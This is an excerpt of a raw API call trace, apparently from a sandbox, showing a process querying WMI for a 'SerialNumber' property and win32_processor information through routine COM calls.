0xb1c [0041.847] IEnumWbemClassObject:Reset (This=0x4f9d884) returned 0x0 [0041.847] IUnknown:Release (This=0x4f9d884) returned 0x2 [0041.847] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90810 [0041.847] IUnknown:Release (This=0x7b88c8) returned 0x1 [0041.849] CoGetContextToken (in: pToken=0x26dd80 | out: pToken=0x26dd80) returned 0x0 [0041.849] CoGetContextToken (in: pToken=0x26dd44 | out: pToken=0x26dd44) returned 0x0 [0041.850] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26dd78 | out: ppvObject=0x26dd78*=0x779464) returned 0x0 [0041.850] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26dda8 | out: pAptType=0x26dda8*=3) returned 0x0 [0041.850] IUnknown:Release (This=0x779464) returned 0x1 [0041.850] CoGetContextToken (in: pToken=0x26dd78 | out: pToken=0x26dd78) returned 0x0 [0041.853] CoGetContextToken (in: pToken=0x26e834 | out: pToken=0x26e834) returned 0x0 [0041.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.853] GetCurrentThreadId () returned 0xb1c [0041.853] IUnknown:AddRef (This=0x4f9d884) returned 0x3 [0041.853] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.853] GetCurrentThreadId () returned 0xb1c [0041.853] IEnumWbemClassObject:Next (in: This=0x4f9d884, lTimeout=-1, uCount=0x1, apObjects=0x26e96c, puReturned=0x26e964 | out: apObjects=0x26e96c*=0x4f9d8c0, puReturned=0x26e964*=0x1) returned 0x0 [0041.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c908 [0041.856] IUnknown:AddRef (This=0x4f9d8c0) returned 0x2 [0041.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9fbd0 [0041.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9fc40 [0041.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9fca0 [0041.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c9c8 [0041.856] WbemLocator:IUnknown:AddRef (This=0x4f9d304) returned 0x3 [0041.857] IUnknown:AddRef (This=0x4f9d884) returned 0x4 [0041.857] IUnknown:QueryInterface (in: This=0x4f9d884, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e8cc | out: ppvObject=0x26e8cc*=0x4f9d888) returned 0x0 [0041.857] IClientSecurity:QueryBlanket (in: This=0x4f9d888, pProxy=0x4f9d884, pAuthnSvc=0x26e8bc, pAuthzSvc=0x26e8c0, pServerPrincName=0x0, pAuthnLevel=0x26e8dc, pImpLevel=0x26e8e8, pAuthInfo=0x0, pCapabilites=0x26e8d4 | out: pAuthnSvc=0x26e8bc*=0xa, pAuthzSvc=0x26e8c0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e8dc*=0x6, pImpLevel=0x26e8e8*=0x3, pAuthInfo=0x0, pCapabilites=0x26e8d4*=0x20) returned 0x0 [0041.857] IUnknown:Release (This=0x4f9d888) returned 0x4 [0041.857] WbemLocator:IUnknown:Release (This=0x4f9d304) returned 0x2 [0041.857] WbemLocator:IUnknown:AddRef (This=0x4f9d304) returned 0x3 [0041.857] IUnknown:Release (This=0x4f9d884) returned 0x3 [0041.857] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0041.857] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9bd98 [0041.857] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c9e8 [0041.857] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f909d8 [0041.857] IUnknown:AddRef (This=0x4f9d8c0) returned 0x3 [0041.857] IUnknown:Release (This=0x4f9d8c0) returned 0x2 [0041.857] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e920 | out: pperrinfo=0x26e920*=0x0) returned 0x1 [0041.857] IUnknown:Release (This=0x4f9d884) returned 0x2 [0041.857] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e964 | out: pperrinfo=0x26e964*=0x0) returned 0x1 [0041.859] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x26e1d4*=0x0 | out: pptlib=0x26e1d4*=0x7b6c98) returned 0x0 [0041.861] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x748f70c4, ppTInfo=0x4f9bdb4 | out: ppTInfo=0x4f9bdb4*=0x7b894c) returned 0x0 [0041.861] IUnknown:Release (This=0x7b6c98) returned 0x5 [0041.861] IUnknown:AddRef (This=0x7b894c) returned 0x2 [0041.861] ITypeInfo:RemoteGetTypeAttr (in: This=0x7b894c, ppTypeAttr=0x26e228, pDummy=0x7e2ac394 | out: ppTypeAttr=0x26e228, pDummy=0x7e2ac394) returned 0x0 [0041.861] ITypeInfo:LocalReleaseTypeAttr (This=0x7b894c) returned 0x7b0af8 [0041.861] IUnknown:Release (This=0x7b894c) returned 0x1 [0041.862] CoGetContextToken (in: pToken=0x26e1b4 | out: pToken=0x26e1b4) returned 0x0 [0041.862] CoGetContextToken (in: pToken=0x26e178 | out: pToken=0x26e178) returned 0x0 [0041.862] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1ac | out: ppvObject=0x26e1ac*=0x779464) returned 0x0 [0041.862] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1dc | out: pAptType=0x26e1dc*=3) returned 0x0 [0041.862] IUnknown:Release (This=0x779464) returned 0x1 [0041.862] CoGetContextToken (in: pToken=0x26e1ac | out: pToken=0x26e1ac) returned 0x0 [0041.863] CoGetContextToken (in: pToken=0x26e578 | out: pToken=0x26e578) returned 0x0 [0041.864] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x26e558*=0x0 | out: pptlib=0x26e558*=0x7b6c98) returned 0x0 [0041.865] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x748e55e4, ppTInfo=0x4f9bdb0 | out: ppTInfo=0x4f9bdb0*=0x7b8978) returned 0x0 [0041.865] IUnknown:Release (This=0x7b6c98) returned 0x6 [0041.865] IUnknown:AddRef (This=0x7b8978) returned 0x2 [0041.865] DispGetIDsOfNames (in: ptinfo=0x7b8978, rgszNames=0x26e5d0*="SerialNumber", cNames=0x1, rgdispid=0x26e5c0 | out: rgdispid=0x26e5c0*=-1) returned 0x80020006 [0041.877] IUnknown:AddRef (This=0x4f9d8c0) returned 0x3 [0041.877] IWbemClassObject:Get (in: This=0x4f9d8c0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x26e4e0*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x26e4e0*=0) returned 0x0 [0041.877] IUnknown:Release (This=0x4f9d8c0) returned 0x2 [0041.878] SysStringLen (param_1="SerialNumber") returned 0xc [0041.878] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90a40 [0041.878] SysStringLen (param_1="SerialNumber") returned 0xc [0041.878] IUnknown:Release (This=0x7b8978) returned 0x1 [0041.878] IUnknown:AddRef (This=0x7b8978) returned 0x2 [0041.878] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.878] GetCurrentThreadId () returned 0xb1c [0041.878] SysStringLen (param_1="SerialNumber") returned 0xc [0041.878] IWbemClassObject:Get (in: This=0x4f9d8c0, wszName="SerialNumber", lFlags=0, pVal=0x26e368*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26e3a0, varVal2=0x748e2d81), pType=0x26e378*=1955474822, plFlavor=0x0 | out: pVal=0x26e368*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\"1\"", varVal2=0x748e2d81), pType=0x26e378*=8, plFlavor=0x0) returned 0x0 [0041.878] IUnknown:Release (This=0x7b8978) returned 0x1 [0041.878] SysStringLen (param_1="\"1\"") returned 0x3 [0041.879] CoGetContextToken (in: pToken=0x26e834 | out: pToken=0x26e834) returned 0x0 [0041.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.879] GetCurrentThreadId () returned 0xb1c [0041.879] IUnknown:AddRef (This=0x4f9d884) returned 0x3 [0041.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.880] GetCurrentThreadId () returned 0xb1c [0041.880] IEnumWbemClassObject:Next (in: This=0x4f9d884, lTimeout=-1, uCount=0x1, apObjects=0x26e96c, puReturned=0x26e964 | out: apObjects=0x26e96c*=0x0, puReturned=0x26e964*=0x0) returned 0x1 [0041.880] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e920 | out: pperrinfo=0x26e920*=0x0) returned 0x1 [0041.880] IUnknown:Release (This=0x4f9d884) returned 0x2 [0041.880] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e964 | out: pperrinfo=0x26e964*=0x0) returned 0x1 [0041.972] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x278 [0041.972] GetLastError () returned 0x0 [0041.974] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x280 [0041.974] GetLastError () returned 0x0 [0042.018] SetEvent (hEvent=0x280) returned 1 [0042.019] GetLastError () returned 0x0 [0042.055] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e970*=0x278, lpdwindex=0x26e728 | out: lpdwindex=0x26e728) returned 0x0 [0042.068] CoGetContextToken (in: pToken=0x26e7c0 | out: pToken=0x26e7c0) returned 0x0 [0042.068] CoGetContextToken (in: pToken=0x26e780 | out: pToken=0x26e780) returned 0x0 [0042.068] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e7fc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7f8 | out: ppvObject=0x26e7f8*=0x4f9fd10) returned 0x0 [0042.069] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.069] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.074] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b8 [0042.074] GetLastError () returned 0x0 [0042.075] SetEvent (hEvent=0x280) returned 1 [0042.075] GetLastError () returned 0x0 [0042.075] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e194*=0x2b8, lpdwindex=0x26df4c | out: lpdwindex=0x26df4c) returned 0x0 [0042.078] CoGetContextToken (in: pToken=0x26dfe4 | out: pToken=0x26dfe4) returned 0x0 [0042.078] CoGetContextToken (in: pToken=0x26dfa4 | out: pToken=0x26dfa4) returned 0x0 [0042.078] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x2 [0042.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x26e020*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e01c | out: ppvObject=0x26e01c*=0x4f9fda8) returned 0x0 [0042.078] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.078] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.088] CoGetContextToken (in: pToken=0x26e064 | out: pToken=0x26e064) returned 0x0 [0042.088] CoGetContextToken (in: pToken=0x26e024 | out: pToken=0x26e024) returned 0x0 [0042.088] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x2 [0042.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x26e0a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e09c | out: ppvObject=0x26e09c*=0x4f9fda8) returned 0x0 [0042.088] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.089] WbemDefPath:IWbemPath:SetText (This=0x4f9fda8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0042.089] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.089] CoGetContextToken (in: pToken=0x26e840 | out: pToken=0x26e840) returned 0x0 [0042.089] CoGetContextToken (in: pToken=0x26e800 | out: pToken=0x26e800) returned 0x0 [0042.089] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e87c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e878 | out: ppvObject=0x26e878*=0x4f9fd10) returned 0x0 [0042.089] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.089] WbemDefPath:IWbemPath:SetText (This=0x4f9fd10, uMode=0x4, pszPath="win32_processor") returned 0x0 [0042.089] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.093] CoGetContextToken (in: pToken=0x26e82c | out: pToken=0x26e82c) returned 0x0 [0042.093] CoGetContextToken (in: pToken=0x26e7ec | out: pToken=0x26e7ec) returned 0x0 [0042.093] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e868*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e864 | out: ppvObject=0x26e864*=0x4f9fd10) returned 0x0 [0042.093] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.093] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fd10, puCount=0x26e9e0 | out: puCount=0x26e9e0*=0x0) returned 0x0 [0042.093] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.097] CoGetContextToken (in: pToken=0x26e81c | out: pToken=0x26e81c) returned 0x0 [0042.097] CoGetContextToken (in: pToken=0x26e7dc | out: pToken=0x26e7dc) returned 0x0 [0042.097] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e858*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e854 | out: ppvObject=0x26e854*=0x4f9fd10) returned 0x0 [0042.097] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.097] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9dc*=0x0, pszText=0x0 | out: puBuffLength=0x26e9dc*=0x10, pszText=0x0) returned 0x0 [0042.097] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.097] CoGetContextToken (in: pToken=0x26e81c | out: pToken=0x26e81c) returned 0x0 [0042.097] CoGetContextToken (in: pToken=0x26e7dc | out: pToken=0x26e7dc) returned 0x0 [0042.097] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e858*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e854 | out: ppvObject=0x26e854*=0x4f9fd10) returned 0x0 [0042.098] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.098] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9dc*=0x10, pszText="000000000000000" | out: puBuffLength=0x26e9dc*=0x10, pszText="win32_processor") returned 0x0 [0042.098] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.101] CoGetContextToken (in: pToken=0x26e830 | out: pToken=0x26e830) returned 0x0 [0042.101] CoGetContextToken (in: pToken=0x26e7f0 | out: pToken=0x26e7f0) returned 0x0 [0042.101] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e86c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e868 | out: ppvObject=0x26e868*=0x4f9fd10) returned 0x0 [0042.101] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.101] WbemDefPath:IWbemPath:GetInfo (in: This=0x4f9fd10, uRequestedInfo=0x0, puResponse=0x26e9e4 | out: puResponse=0x26e9e4*=0xc15) returned 0x0 [0042.102] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.102] CoGetContextToken (in: pToken=0x26e82c | out: pToken=0x26e82c) returned 0x0 [0042.102] CoGetContextToken (in: pToken=0x26e7ec | out: pToken=0x26e7ec) returned 0x0 [0042.102] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e868*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e864 | out: ppvObject=0x26e864*=0x4f9fd10) returned 0x0 [0042.102] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fd10, puCount=0x26e9e0 | out: puCount=0x26e9e0*=0x0) returned 0x0 [0042.102] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.103] CoGetContextToken (in: pToken=0x26e830 | out: pToken=0x26e830) returned 0x0 [0042.103] CoGetContextToken (in: pToken=0x26e7f0 | out: pToken=0x26e7f0) returned 0x0 [0042.103] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.103] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e86c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e868 | out: ppvObject=0x26e868*=0x4f9fd10) returned 0x0 [0042.103] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.103] WbemDefPath:IWbemPath:GetInfo (in: This=0x4f9fd10, uRequestedInfo=0x0, puResponse=0x26e9e4 | out: puResponse=0x26e9e4*=0xc15) returned 0x0 [0042.103] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.103] CoGetContextToken (in: pToken=0x26e820 | out: pToken=0x26e820) returned 0x0 [0042.103] CoGetContextToken (in: pToken=0x26e7e0 | out: pToken=0x26e7e0) returned 0x0 [0042.103] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.103] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e85c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e858 | out: ppvObject=0x26e858*=0x4f9fd10) returned 0x0 [0042.103] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.103] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fd10, puCount=0x26e9d4 | out: puCount=0x26e9d4*=0x0) returned 0x0 [0042.103] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.103] CoGetContextToken (in: pToken=0x26e810 | out: pToken=0x26e810) returned 0x0 [0042.103] CoGetContextToken (in: pToken=0x26e7d0 | out: pToken=0x26e7d0) returned 0x0 [0042.103] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.103] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e84c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e848 | out: ppvObject=0x26e848*=0x4f9fd10) returned 0x0 [0042.104] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.104] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9d0*=0x0, pszText=0x0 | out: puBuffLength=0x26e9d0*=0x10, pszText=0x0) returned 0x0 [0042.104] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.104] CoGetContextToken (in: pToken=0x26e810 | out: pToken=0x26e810) returned 0x0 [0042.104] CoGetContextToken (in: pToken=0x26e7d0 | out: pToken=0x26e7d0) returned 0x0 [0042.104] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e84c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e848 | out: ppvObject=0x26e848*=0x4f9fd10) returned 0x0 [0042.104] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.104] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9d0*=0x10, pszText="000000000000000" | out: puBuffLength=0x26e9d0*=0x10, pszText="win32_processor") returned 0x0 [0042.104] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.104] CoGetContextToken (in: pToken=0x26e820 | out: pToken=0x26e820) returned 0x0 [0042.104] CoGetContextToken (in: pToken=0x26e7e0 | out: pToken=0x26e7e0) returned 0x0 [0042.104] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e85c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e858 | out: ppvObject=0x26e858*=0x4f9fd10) returned 0x0 [0042.104] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fd10, puCount=0x26e9d4 | out: puCount=0x26e9d4*=0x0) returned 0x0 [0042.105] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.105] CoGetContextToken (in: pToken=0x26e810 | out: pToken=0x26e810) returned 0x0 [0042.105] CoGetContextToken (in: pToken=0x26e7d0 | out: pToken=0x26e7d0) returned 0x0 [0042.105] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e84c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e848 | out: ppvObject=0x26e848*=0x4f9fd10) returned 0x0 [0042.105] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.105] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9d0*=0x0, pszText=0x0 | out: puBuffLength=0x26e9d0*=0x10, pszText=0x0) returned 0x0 [0042.105] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.105] CoGetContextToken (in: pToken=0x26e810 | out: pToken=0x26e810) returned 0x0 [0042.105] CoGetContextToken (in: pToken=0x26e7d0 | out: pToken=0x26e7d0) returned 0x0 [0042.105] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e84c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e848 | out: ppvObject=0x26e848*=0x4f9fd10) returned 0x0 [0042.105] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.105] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fd10, lFlags=2, puBuffLength=0x26e9d0*=0x10, pszText="000000000000000" | out: puBuffLength=0x26e9d0*=0x10, pszText="win32_processor") returned 0x0 [0042.105] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.111] CoGetContextToken (in: pToken=0x26e7b4 | out: pToken=0x26e7b4) returned 0x0 [0042.111] CoGetContextToken (in: pToken=0x26e774 | out: pToken=0x26e774) returned 0x0 [0042.111] WbemDefPath:IUnknown:AddRef (This=0x4f9fd10) returned 0x2 [0042.111] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fd10, riid=0x26e7f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7ec | out: ppvObject=0x26e7ec*=0x4f9fd10) returned 0x0 [0042.111] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x2 [0042.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fd10, puCount=0x26e968 | out: puCount=0x26e968*=0x0) returned 0x0 [0042.111] WbemDefPath:IUnknown:Release (This=0x4f9fd10) returned 0x1 [0042.111] CoGetContextToken (in: pToken=0x26e7a0 | out: pToken=0x26e7a0) returned 0x0 [0042.111] CoGetContextToken (in: pToken=0x26e760 | out: pToken=0x26e760) returned 0x0 [0042.111] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x2 [0042.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x26e7dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7d8 | out: ppvObject=0x26e7d8*=0x4f9fda8) returned 0x0 [0042.112] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.112] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9fda8, puCount=0x26e954 | out: puCount=0x26e954*=0x2) returned 0x0 [0042.112] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.112] CoGetContextToken (in: pToken=0x26e790 | out: pToken=0x26e790) returned 0x0 [0042.112] CoGetContextToken (in: pToken=0x26e750 | out: pToken=0x26e750) returned 0x0 [0042.112] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x2 [0042.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, 